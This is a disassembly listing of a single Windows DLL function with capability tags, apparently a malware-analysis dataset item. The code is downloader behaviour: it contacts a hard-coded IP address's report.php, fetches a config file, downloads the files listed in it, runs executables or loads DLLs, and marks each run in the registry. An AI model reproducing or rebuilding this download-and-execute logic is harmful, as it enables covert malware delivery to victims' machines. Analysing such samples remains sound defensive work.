Function at 0x1000a430
Capabilities:
Create process on windows
Delete file
Move file
Read .ini file
Set registry value

Disassembly:
push 0x6e0
mov eax, 0x10028ad3
call fcn.10015c84
mov dword [0x100370a0], 0x7165
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edi, edi
xor eax, eax
mov dword [ebp - 0x630], 7
mov dword [ebp - 0x634], edi
mov word [ebp - 0x644], ax
mov dword [ebp - 4], edi
mov dword [ebp - 0x694], edi
mov dword [ebp - 0x690], edi
mov dword [ebp - 0x68c], edi
push 0x20019
push str.SoftwareMicrosoftInternet_Explorer
push getpeername
lea ecx, [ebp - 0x694]
mov byte [ebp - 4], 1
call fcn.1000133e
mov ebx, 0x104
test eax, eax
jne 0x1000a506
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push edi
push eax
call fcn.100154e0
add esp, 0xc
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x218]
push eax
push str.guid
lea ecx, [ebp - 0x694]
mov dword [ebp - 0x658], ebx
call fcn.1000138d
lea eax, [ebp - 0x218]
push eax
call fcn.1001539a
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x644]
call fcn.100027d1
cmp dword [ebp - 0x634], edi
jne 0x1000a527
mov esi, str.null
push esi
call fcn.1001539a
pop ecx
push eax
push esi
lea ecx, [ebp - 0x644]
call fcn.100027d1
push 0x2bf20
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x649]
call fcn.1000119b
lea ecx, [ebp - 0x649]
mov byte [ebp - 4], 2
call fcn.1000119e
push str.soft.ini
lea ecx, [ebp - 0x654]
mov dword [ebp - 0x65c], eax
call fcn.10001758
xor eax, eax
push 0x206
mov word [ebp - 0x420], ax
lea eax, [ebp - 0x41e]
push edi
push eax
mov byte [ebp - 4], 3
call fcn.100154e0
add esp, 0xc
push ebx
lea eax, [ebp - 0x420]
push eax
push dword [0x100370c0]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push dword [ebp - 0x654]
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x420]
push edi
push eax
call fcn.100160f5
pop ecx
pop ecx
mov esi, str.http:__120.24.169.233_report.php_type6ver_dav_d
test eax, eax
je 0x1000a622
push 0x10035d94
lea ecx, [ebp - 0x650]
call fcn.10001494
push dword [ebp - 0x65c]
lea eax, [ebp - 0x650]
push 0x1335045
push esi
push eax
mov byte [ebp - 4], 4
call fcn.100080a0
mov edi, dword [ebp - 0x650]
push 1
lea eax, [ebp - 0x654]
push eax
push edi
call fcn.10009b49
add esp, 0x1c
lea ecx, [edi - 0x10]
mov byte [ebp - 4], 3
call fcn.100013fc
xor edi, edi
lea eax, [ebp - 0x420]
push edi
push eax
call fcn.100160f5
pop ecx
pop ecx
test eax, eax
je 0x1000a676
mov ecx, dword [ebp - 0x654]
add ecx, 0xfffffff0
call fcn.100013fc
or esi, 0xffffffff
lea ecx, [ebp - 0x649]
mov byte [ebp - 4], 1
call fcn.10004645
lea ecx, [ebp - 0x694]
call fcn.10001323
push edi
push 1
lea ecx, [ebp - 0x644]
call fcn.1000246b
mov eax, esi
call fcn.10015d07
ret
lea eax, [ebp - 0x420]
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push str.version
push str.config
call edi
mov dword [ebp - 0x648], eax
test eax, eax
je 0x1000a73b
push 0x10035d94
lea ecx, [ebp - 0x650]
call fcn.10001494
push dword [ebp - 0x65c]
lea eax, [ebp - 0x650]
push dword [ebp - 0x648]
mov byte [ebp - 4], 5
push esi
push eax
call fcn.100080a0
mov esi, str.soft_new.ini
push esi
call fcn.1001539a
add esp, 0x14
push eax
push esi
lea ecx, [ebp - 0x654]
call fcn.1000162e
mov esi, dword [ebp - 0x650]
push 1
lea eax, [ebp - 0x654]
push eax
push esi
call fcn.10009b49
add esp, 0xc
push dword [ebp - 0x654]
push 0
push str.version
push str.config
call edi
cmp eax, dword [ebp - 0x648]
jbe 0x1000a72f
push 1
lea eax, [ebp - 0x420]
push eax
push dword [ebp - 0x654]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea ecx, [esi - 0x10]
mov byte [ebp - 4], 3
call fcn.100013fc
push dword [ebp - 0x65c]
lea eax, [ebp - 0x420]
push eax
call fcn.1000cd11
pop ecx
pop ecx
mov dword [ebp - 0x650], 1
mov esi, 0x1002a4d0
lea ecx, [ebp - 0x684]
call fcn.10009304
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
mov byte [ebp - 4], 6
call fcn.100154e0
add esp, 0xc
push 0x10035d94
lea ecx, [ebp - 0x648]
call fcn.10001494
push dword [ebp - 0x650]
lea eax, [ebp - 0x648]
push str.soft_d
push eax
mov byte [ebp - 4], 7
call fcn.100080a0
add esp, 0xc
lea eax, [ebp - 0x420]
push eax
push ebx
lea eax, [ebp - 0x218]
push eax
push esi
push 0x1002c810
push dword [ebp - 0x648]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x218]
push eax
call fcn.1001539a
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x684]
call fcn.1000162e
xor eax, eax
movzx edx, ax
mov eax, edx
shl edx, 0x10
or eax, edx
mov ecx, 0x82
lea edi, [ebp - 0x218]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x420]
push eax
push ebx
lea eax, [ebp - 0x218]
push eax
push esi
push str.name
push dword [ebp - 0x648]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x218]
push eax
call fcn.1001539a
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x680]
call fcn.1000162e
xor eax, eax
movzx edx, ax
mov eax, edx
shl edx, 0x10
or eax, edx
mov ecx, 0x82
lea edi, [ebp - 0x218]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x420]
push eax
push ebx
lea eax, [ebp - 0x218]
push eax
push esi
push str.regpath
push dword [ebp - 0x648]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x218]
push eax
call fcn.1001539a
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x678]
call fcn.1000162e
xor eax, eax
movzx edx, ax
mov eax, edx
shl edx, 0x10
or eax, edx
mov ecx, 0x82
lea edi, [ebp - 0x218]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x420]
push eax
push ebx
lea eax, [ebp - 0x218]
push eax
push esi
push str.regname
push dword [ebp - 0x648]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x218]
push eax
call fcn.1001539a
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x674]
call fcn.1000162e
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
lea eax, [ebp - 0x420]
push eax
push 0
push 0x1002c7d4
push dword [ebp - 0x648]
call edi
mov dword [ebp - 0x670], eax
lea eax, [ebp - 0x420]
push eax
push 0
push 0x1002c7cc
push dword [ebp - 0x648]
call edi
mov dword [ebp - 0x66c], eax
test eax, eax
jne 0x1000a953
or eax, 0xffffffff
mov dword [ebp - 0x66c], eax
mov ecx, dword [ebp - 0x65c]
test ecx, ecx
je 0x1000a965
test ecx, eax
je 0x1000ac4a
xor eax, eax
movzx edx, ax
mov eax, edx
shl edx, 0x10
or eax, edx
mov ecx, 0x82
lea edi, [ebp - 0x218]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x420]
push eax
push ebx
lea eax, [ebp - 0x218]
push eax
push esi
push str.rname
push dword [ebp - 0x648]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x218]
push eax
call fcn.1001539a
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x67c]
call fcn.1000162e
mov eax, dword [ebp - 0x684]
xor edi, edi
cmp dword [eax - 0xc], edi
je 0x1000ac7e
lea eax, [ebp - 0x684]
push eax
call fcn.10008f7f
pop ecx
test al, al
jne 0x1000ac4a
mov dword [ebp - 0x668], edi
mov dword [ebp - 0x664], edi
mov dword [ebp - 0x660], edi
push 0x2001f
push str.SoftwareLoader
push getpeername
lea ecx, [ebp - 0x668]
mov byte [ebp - 4], 8
call fcn.1000133e
test eax, eax
je 0x1000aa3b
push edi
push edi
push 0x2001f
push edi
push edi
push str.SoftwareLoader
push getpeername
lea ecx, [ebp - 0x668]
call fcn.10003f84
test eax, eax
jne 0x1000aa69
lea eax, [ebp - 0x658]
push eax
push dword [ebp - 0x67c]
lea ecx, [ebp - 0x668]
mov dword [ebp - 0x658], edi
call fcn.10003fec
test eax, eax
jne 0x1000aa69
cmp dword [ebp - 0x658], edi
ja 0x1000ac3f
push esi
lea ecx, [ebp - 0x688]
call fcn.10001758
push esi
lea ecx, [ebp - 0x698]
mov byte [ebp - 4], 9
call fcn.10001758
push 1
lea eax, [ebp - 0x680]
push eax
push dword [ebp - 0x684]
mov byte [ebp - 4], 0xa
call fcn.10009b49
push edi
push dword [ebp - 0x680]
call fcn.100160f5
add esp, 0x14
test eax, eax
jne 0x1000ac23
push str..exe
push dword [ebp - 0x680]
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
je 0x1000ac02
push 0x40
lea eax, [ebp - 0x6e8]
push edi
push eax
mov dword [ebp - 0x6ec], 0x44
call fcn.100154e0
xor eax, eax
mov dword [ebp - 0x6a8], edi
mov word [ebp - 0x6bc], ax
lea edi, [ebp - 0x6a4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
push 0x206
mov word [ebp - 0x628], ax
xor edi, edi
lea eax, [ebp - 0x626]
push edi
push eax
mov dword [ebp - 0x6c0], 1
call fcn.100154e0
add esp, 0x18
push 0xffffffffffffffff
push edi
lea ecx, [ebp - 0x680]
call fcn.100015f5
push eax
lea eax, [ebp - 0x628]
push ebx
push eax
call fcn.10018a5a
add esp, 0x10
lea eax, [ebp - 0x6a8]
push eax
lea eax, [ebp - 0x6ec]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x628]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1000ac23
push 0xea60
push dword [ebp - 0x6a8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x6a4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x6a8]
call edi
push 0x2001f
mov edi, str.SoftwareLoader
push edi
push getpeername
lea ecx, [ebp - 0x668]
call fcn.1000133e
test eax, eax
je 0x1000abd7
xor eax, eax
push eax
push eax
push 0x2001f
push eax
push eax
push edi
push getpeername
lea ecx, [ebp - 0x668]
call fcn.10003f84
test eax, eax
jne 0x1000ac23
push 4
lea eax, [ebp - 0x658]
push eax
push 4
push 0
push dword [ebp - 0x67c]
mov dword [ebp - 0x658], 1
push dword [ebp - 0x668]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x1000ac23
push str..dll
push dword [ebp - 0x680]
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
je 0x1000ac23
push dword [ebp - 0x680]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 0x698]
add ecx, 0xfffffff0
call fcn.100013fc
mov ecx, dword [ebp - 0x688]
add ecx, 0xfffffff0
call fcn.100013fc
lea ecx, [ebp - 0x668]
call fcn.10001323
mov ecx, dword [ebp - 0x648]
add ecx, 0xfffffff0
call fcn.100013fc
lea ecx, [ebp - 0x684]
mov byte [ebp - 4], 3
call fcn.10013a68
inc dword [ebp - 0x650]
cmp dword [ebp - 0x650], 0x64
jl 0x1000a75e
xor edi, edi
jmp 0x1000ac97
mov ecx, dword [ebp - 0x648]
add ecx, 0xfffffff0
call fcn.100013fc
lea ecx, [ebp - 0x684]
call fcn.10013a68
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x654]
add ecx, 0xfffffff0
call fcn.100013fc
xor esi, esi
xor edi, edi
jmp 0x1000a646